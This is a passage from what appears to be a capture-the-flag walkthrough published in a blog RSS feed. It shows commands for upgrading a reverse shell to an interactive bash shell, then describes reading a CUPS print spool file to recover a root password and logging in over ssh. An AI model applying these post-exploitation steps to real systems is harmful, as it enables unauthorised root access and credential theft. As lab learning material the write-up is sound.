pty.spawn(&quot;/bin/bash&quot;)&#39;<br># press ctrl+z<br>stty -raw &amp;&amp; fg<br># press enter twice</pre><p>Now remember, there was a previous printjob that we couldn’t access without credentials. This isn’t there without a reason so let’s have a look at it. Checking /var/spool shows that there is a cups folder, but sadly we can’t list the content. Reading about how cups saves files tho lead me to this stackoverflow post:</p><p><a href="https://stackoverflow.com/questions/53688075/how-to-dissect-a-cups-job-control-file-var-spool-cups-cnnnnnn">How to dissect a CUPS job control file &#39;/var/spool/cups/cNNNNNN&#39;?</a></p><p>In the example the user writes this:</p><p>sudo strings /var/spool/cups/d00089</p><p>Since there is only a single printjob, the id should be d00001–001. and indeed, cat d00001–001 gives us the document. Very close to the bottom, there is a string that looks very much like a password. Trying this to ssh as root into the box worked, so we can grab the flags and are done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*h2i_zxp0owm7QRnd_h6Kng.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=852be9409077" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>